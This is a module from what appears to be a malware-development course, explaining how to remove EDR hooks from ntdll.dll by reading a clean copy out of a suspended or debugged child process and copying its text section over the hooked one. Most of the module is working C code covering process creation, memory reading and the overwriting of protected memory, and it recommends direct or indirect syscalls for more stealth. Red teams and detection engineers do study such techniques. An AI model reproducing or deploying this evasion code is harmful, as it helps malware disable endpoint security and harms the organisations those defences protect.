86. NTDLL Unhooking - From a Suspended Process
NTDLL Unhooking - From a Suspended Process
Introduction
An alternative method to unhook ntdll.dll
involves reading it from a suspended process. This works because EDRs require a running process to install their hooks and therefore a process created in a suspended state, will contain a clean ntdll.dll
image allowing for the text section of the current process to be substituted with that of the suspended one.
During a typical process startup, the Windows Loader will load the executable image (e.g. notepad.exe
) before proceeding to map the ntdll.dll
image, followed by all of the process's DLL dependencies. However, creating a process in a suspended state results in only ntdll.dll
being mapped. This works if the process is created as a debugged process as well which is shown in the image below via Process Hacker.

Getting The Required Information
To retrieve ntdll.dll
from a remote process, it is necessary to determine the base address where NTDLL is mapped to. This process is simpler than it may initially appear and has already been carried out in the Remote Function Stomping Injection module. Since DLLs share the same base address, the local base address of ntdll.dll
will be the same as the remote base address of it, this is shown in the following image by viewing NTDLL in 3 separate processes.

Therefore when any process is created, including child processes, in a suspended state, its ntdll.dll
base address is known in advance. However, its size is not known and will need to be calculated by parsing the PE headers of the local ntdll.dll
image and accessing its OptionalHeader.SizeOfImage
element which contains the size of the image. For this reason, the following function GetNtdllSizeFromBaseAddress
is created, which has one parameter, pNtdllModule
, that will be the base address of an image (i.e. ntdll.dll
) to fetch its size.
The pNtdllModule
parameter can be supplied using the FetchLocalNtdllBaseAddress
function which was used in previous NTDLL unhooking modules to retrieve the base address of the ntdll.dll
image.
SIZE_T GetNtdllSizeFromBaseAddress(IN PBYTE pNtdllModule) {
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
return pImgNtHdrs->OptionalHeader.SizeOfImage;
}
PVOID FetchLocalNtdllBaseAddress() {
#ifdef _WIN64
PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif // _WIN64// Reaching to the 'ntdll.dll' module directly (we know its the 2nd image after 'SuspendedProcessUnhooking.exe')
// 0x10 is = sizeof(LIST_ENTRY)
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
return pLdr->DllBase;
}
Creating A Suspended Process
This has been performed several times throughout the course by using CreateProcessA
with the CREATE_SUSPENDED
or DEBUG_PROCESS
flags. In the code below, the DEBUG_PROCESS
flag will be used.
After the process is created, ReadProcessMemory
is used to read the ntdll.dll
image. The process is then detached using the DebugActiveProcessStop WinAPI and then terminated with the TerminateProcess WinAPI. Note that the process won't be terminated if it's not detached first.
If the CREATE_SUSPENDED
flag was used then replace the DebugActiveProcessStop
WinAPI with ResumeThread
.
The above logic is illustrated programmatically in the following ReadNtdllFromASuspendedProcess
function.
BOOL ReadNtdllFromASuspendedProcess(IN LPCSTR lpProcessName, OUT PVOID* ppNtdllBuf) {
CHAR cWinPath[MAX_PATH / 2] = { 0 };
CHAR cProcessPath[MAX_PATH] = { 0 };
PVOID pNtdllModule = FetchLocalNtdllBaseAddress();
PBYTE pNtdllBuffer = NULL;
SIZE_T sNtdllSize = NULL,
sNumberOfBytesRead = NULL;
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// cleaning the structs (setting elements values to 0)
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// setting the size of the structure
Si.cb = sizeof(STARTUPINFO);
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}
// 'sprintf_s' is a more secure version than 'sprintf'
sprintf_s(cProcessPath, sizeof(cProcessPath), "%s\\System32\\%s", cWinPath, lpProcessName);
if (!CreateProcessA(
NULL,
cProcessPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS, // Substitute of CREATE_SUSPENDED
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
goto _EndOfFunc;
}
// allocating enough memory to read ntdll from the remote process
sNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);
if (!sNtdllSize)
goto _EndOfFunc;
pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);
if (!pNtdllBuffer)
goto _EndOfFunc;
// reading ntdll.dll
if (!ReadProcessMemory(Pi.hProcess, pNtdllModule, pNtdllBuffer, sNtdllSize, &sNumberOfBytesRead) || sNumberOfBytesRead != sNtdllSize) {
printf("[!] ReadProcessMemory Failed with Error : %d \n", GetLastError());
printf("[i] Read %d of %d Bytes \n", sNumberOfBytesRead, sNtdllSize);
goto _EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
// terminating the process
if (DebugActiveProcessStop(Pi.dwProcessId) && TerminateProcess(Pi.hProcess, 0)) {
// process terminated successfully
}
_EndOfFunc:
if (Pi.hProcess)
CloseHandle(Pi.hProcess);
if (Pi.hThread)
CloseHandle(Pi.hThread);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}
Putting It All Together
Once a fresh copy of ntdll.dll
has been successfully retrieved, the next step is to overwrite the hooked text section with the clean one. This is achieved using the ReplaceNtdllTxtSection
function, as demonstrated in previous modules.
Note that the unhooked copy of ntdll.dll
was read from a memory region where it was mapped, being the suspended process's address space. This means that the offset to the text section of the clean NTDLL file is IMAGE_SECTION_HEADER.VirtualAddress
(4096).
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
// getting the dos header
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// getting the nt headers
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
PVOID pLocalNtdllTxt = NULL, // local hooked text section base address
pRemoteNtdllTxt = NULL; // the unhooked text section base address
SIZE_T sNtdllTxtSize = NULL; // the size of the text section
// getting the text section
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
// the same as if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
//---------------------------------------------------------------------------------------------------------------------------
// small check to verify that all the required information is retrieved
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
return FALSE;
// small check to verify that 'pRemoteNtdllTxt' is really the base address of the text section
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
//---------------------------------------------------------------------------------------------------------------------------
DWORD dwOldProtection = NULL;
// making the text section writable and executable
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
return FALSE;
}
// copying the new text section
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
// rrestoring the old memory protection
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
Improving The Implementation
The current implementation unhooks ntdll.dll
using WinAPIs. For a stealthier implementation, direct or indirect syscalls should be used to perform unhooking. This will be left as an objective for the reader.
Demo
A suspended child process with PID 6412
.

The hooked ntdll.dll
text section to be replaced.

The text section base address of the unhooked ntdll.dll
.

Replacing the text section.
